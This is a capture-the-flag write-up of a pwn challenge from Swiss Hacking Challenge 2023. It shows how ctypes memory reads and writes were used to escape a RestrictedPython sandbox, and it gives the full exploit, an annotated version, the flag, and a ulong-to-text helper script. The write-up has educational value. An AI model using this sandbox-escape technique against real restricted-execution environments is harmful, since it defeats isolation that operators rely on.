Swiss Hacking Challenge 2023 - it's all just bits
Information
Challenge category: pwn
Challenge Description
Limiting what you can do with Python is not an easy thing. Luckily there is RestrictedPython that does the work for us!
Files
We are given an its_all_just_bits.zip
file containing the source code of the application.
Analysis
The stuff we can input is fairly limited.
- We can’t import any modules
- Most modern python things don’t work directly (
+=
,object.method()
,object.attribute = "a"
) - We’re limited to a single line at once -> no nested
while
andif
. - We have raw memory access using
ctypes.c_ulong.from_address
- Printing doesn’t work as neither
stdin
orstderr
are passed after theexec
.
We can however overwrite/change memory using the following methods:
Get the address of a variable:
a = "abcd"
address = id(a)
Get the raw data at an address:
raw_data = getattr(from_address(address),"value")
Overwrite the raw value at an address:
setattr(from_address(address),"value", raw_data)
In the end of the source code there is the following check:
if FLAG_CONSTANT == 42 and hash(FLAG_CONSTANT) == 1337:
print("Congrats, here's your flag: shc2023{https://bit.ly/3CSyf5P}")
else:
print("No flag for you!")
We have the following possibilities:
- Overwrite the integers so that the if condition is satisfied
- Overwrite the hash function so that it returns 42
- Overwrite the string in the print statement to print the flag instead of an error
Somehow I thought doing the last would be the easiest so I did that.
Exploitation
My exploit code looks the following:
hint_int = 2334942050012655438; flag_int = 8877494473062574195; random_string = "No flag for you!"; target = id(random_string); offset = -100000; target_address = target + offset
while getattr(from_address(target_address),"value") != flag_int: target_address = target_address + 1
flag_part = getattr(from_address(target_address+8),"value")
flag_part2 = getattr(from_address(target_address+16),"value")
offset = -1000; target_address = target + offset
while getattr(from_address(target_address),"value") != hint_int: target_address = target_address + 1
setattr(from_address(target_address),"value", flag_part)
setattr(from_address(target_address+8),"value", flag_part2)
Let’s break that down into human readable code:
hint_int = 2334942050012655438 # "No flag" in ulong notation
flag_int = 8877494473062574195 # "shc2023" in ulong notation
random_string = "No flag for you!" # a very random string as base address
target = id(random_string) # the id of the address
offset = -100000 # seems to have worked so far
target_address = target + offset
# Search through the memory until we find the flag
while from_address(target_address).value != flag_int:
target_address = target_address + 1
# Get the first two ulong parts of the flag
flag_part = from_address(target_address+8).value
flag_part2 = from_address(target_address+16).value
offset = -1000
target_address = target + offset
# Search for the start of the error msg
while from_address(target_address).value != hint_int:
target_address = target_address + 1
# Overwrite the error message
from_address(target_address).value =flag_part
from_address(target_address+8).value = flag_part2
I also wrote a nice little helper script to convert the ulong
integers to text and vice-versa, see the attachments.
Flag
After entering line by line and exiting, we should get the first 2 (out of 3) parts of the flag. We can then just add 8
to the address of flag_part2
and run it again so we also get the last part.
The flag is:
shc2023{1h34rdy0ul1k3py7h0n?}
Conclusion
Probably just overwriting 42 would’ve been easier. Who cares, I had a fun time finding workarounds for RestrictedPython.
References
Attachments
def int_to_array(i):
a = hex(i)[2:]
out = []
for i in range(0,len(a),2):
out.append(chr(int(a[i:i+2],16)))
return out
def array_to_int(a):
if len(a) != 8:
raise Exception("Array must be 8 bytes long")
h = ''
for i in a:
h += hex(ord(i))[2:]
return int(h,16)
# sanity check
assert array_to_int(int_to_array(2334942050012655438)) == 2334942050012655438
def interactive_edit():
integer = int(input("Enter an integer: ").strip())
array = int_to_array(integer)
print(f"Content: {''.join(reversed(array))}")
for a in range(len(array)):
print(f"Enter a new value for {array[a]}")
array[a] = input("New value: ").strip()
print(f"New integer: {array_to_int(array)}")
def generate_from_string():
string = input("Enter a string: ").strip()
if len(string) != 8:
raise Exception("String must be 8 characters long")
integer = array_to_int(list(reversed(list(string))))
print(f"Integer: {integer}")
def ulong_to_string():
integer = int(input("Enter an integer: ").strip())
array = int_to_array(integer)
print(f"String: {''.join(reversed(array))}")
def menu():
print("=== SUPER FANCY POGCHAMP 1337 ULONG EDITOR ===")
print("1. Interactive edit")
print("2. Generate from string")
print("3. ulong to string")
print("4. Exit")
choice = input("Enter your choice: ").strip()
if choice == '1':
interactive_edit()
elif choice == '2':
generate_from_string()
elif choice == '3':
ulong_to_string()
elif choice == '4':
exit()
else:
print("Invalid choice")
if __name__ == '__main__':
while True:
menu()